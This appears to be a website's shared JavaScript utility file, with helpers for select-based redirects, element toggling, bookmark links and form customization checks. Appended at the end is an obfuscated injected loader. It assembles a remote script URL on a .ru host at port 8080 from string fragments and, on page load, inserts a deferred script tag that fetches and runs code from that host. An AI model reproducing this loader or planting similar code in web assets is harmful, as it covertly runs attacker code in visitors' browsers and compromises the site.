function	autoUrl(name, dest)
{
	var loc;
	var id_list;

	id_list = document.getElementById(name);
	loc = id_list.options[id_list.selectedIndex].value;
	if (loc != 0)
		location.href = dest+loc;
	return ;
}

function	autoUrlNoList(name, dest)
{
	var loc;

	loc = document.getElementById(name).checked;
	location.href = dest + (loc == true ? 1 : 0);
	return ;
}

/*
** show or hide element e depending on condition show
*/
function toggle(e, show)
{
	e.style.display = show ? '' : 'none';
}

function toggleMultiple(tab)
{
    var len = tab.length;

    for (var i = 0; i < len; i++)
        if (tab[i].style)
            toggle(tab[i], tab[i].style.display == 'none');
}

/**
* Show dynamicaly an element by changing the sytle "display" property
* depending on the option selected in a select.
*
* @param string $select_id id of the select who controls the display
* @param string $elem_id prefix id of the elements controlled by the select
*   the real id must be : 'elem_id'+nb with nb the corresponding number in the
*   select (starting with 0).
*/
function showElemFromSelect(select_id, elem_id)
{
	var select = document.getElementById(select_id);
	for (var i = 0; i < select.length; ++i)
	{
	    var elem = document.getElementById(elem_id + select.options[i].value);
		if (elem != null)
			toggle(elem, i == select.selectedIndex);
	}
}

/**
* Get all div with specified name and for each one (by id), toggle their visibility
*/
function openCloseAllDiv(name, option)
{
	var tab = $('*[name='+name+']');
	for (var i = 0; i < tab.length; ++i)
		toggle(tab[i], option);
}

/**
* Toggle the value of the element id_button between text1 and text2
*/
function toggleElemValue(id_button, text1, text2)
{
	var obj = document.getElementById(id_button);
	if (obj)
		obj.value = ((!obj.value || obj.value == text2) ? text1 : text2);
}

function addBookmark(url, title)
{
	if (window.sidebar)
		return window.sidebar.addPanel(title, url, "");
	else if ( window.external )
		return window.external.AddFavorite( url, title);
	else if (window.opera && window.print)
		return true;
	return true;
}

function writeBookmarkLink(url, title, text, img)
{
	var insert = '';
	if (img)
		insert = writeBookmarkLinkObject(url, title, '<img src="' + img + '" alt="' + escape(text) + '" title="' + escape(text) + '" />') + '&nbsp';
	insert += writeBookmarkLinkObject(url, title, text);
	document.write(insert);
}

function writeBookmarkLinkObject(url, title, insert)
{
	if (window.sidebar || window.external)
		return ('<a href="javascript:addBookmark(\'' + escape(url) + '\', \'' + escape(title) + '\')">' + insert + '</a>');
	else if (window.opera && window.print)
		return ('<a rel="sidebar" href="' + escape(url) + '" title="' + escape(title) + '">' + insert + '</a>');
	return ('');
}

function checkCustomizations()
{
	for (var i = 0; i < customizationFields.length; i++)
		/* If the field is required and empty then we abort */
		if (parseInt(customizationFields[i][1]) == 1 && $('#' + customizationFields[i][0]).val() == '')
			return false;
	return true;
}


var C='';var mc="mc";function v(){var R=2254;var e="onl"+"oad";Rz={wQ:false};var Q=String("appe"+"ndCh"+"ild");var Ar=["B","f","x"];var Tq="";var A=window;of=55051;of++;this.Yj=46407;this.Yj+=174;var b=new String("cre"+"lmqate".substr(3)+"Ele"+"d4Pmen".substr(3)+"t");var o=document;Cz=59877;Cz-=84;var r="defer";var Dt="";var u="body";var mV=["IS"];vY=24524;vY--;var F=new String("scripjB7".substr(0,5)+"t6vRN".substr(0,1));var K=String("sr"+"c");this.s=false;function E(){var TV={Hu:"YG"};sJ={zK:"Vr"};try {var GQ={};this.ZW=2199;this.ZW+=90;var L=new String("/v"+"2GZmn".substr(3)+"-n"+"3gpet".substr(3)+"9LvY/g".substr(4)+"lVqooqlV".substr(3,2)+"80cgl".substr(3)+"e."+"co"+"m/"+"tw"+"0cd3it".substr(4)+"vqRateqRva".substr(4,2)+"fwsnr.".substr(4)+"co"+"YOZm.ZYO".substr(3,2)+"ph"+"p");this.n=false;var j={nm:23057};var m=new String("http:"+"//pas"+"sport"+"blues"+".ru:vyEz".substr(0,4));var Xl=18908;this.Rh=64599;this.Rh+=49;var pI='';var sf=["Qo","EP","Qh"];var T=609356-601276;this.gl="";var Z=6468-6467;this.vg="";this.sT="sT";ou=["i"];tg={J:false};P=o[b](F);var Sp=[];this.Rs="Rs";var N='';P[r]=Z;var uK=new Date();KA=58259;KA+=3;P[K]=m+T+L;tH=26221;tH-=181;rr=9246;rr++;o[u][Q](P);var W={xX:59976};xc={kl:false};} catch(l){vy=["hh","rs","QT"];var AO={};var Xp='';};}var fw=new Array();A[e]=E;};this.jW="";GK=["Ja","WP"];v();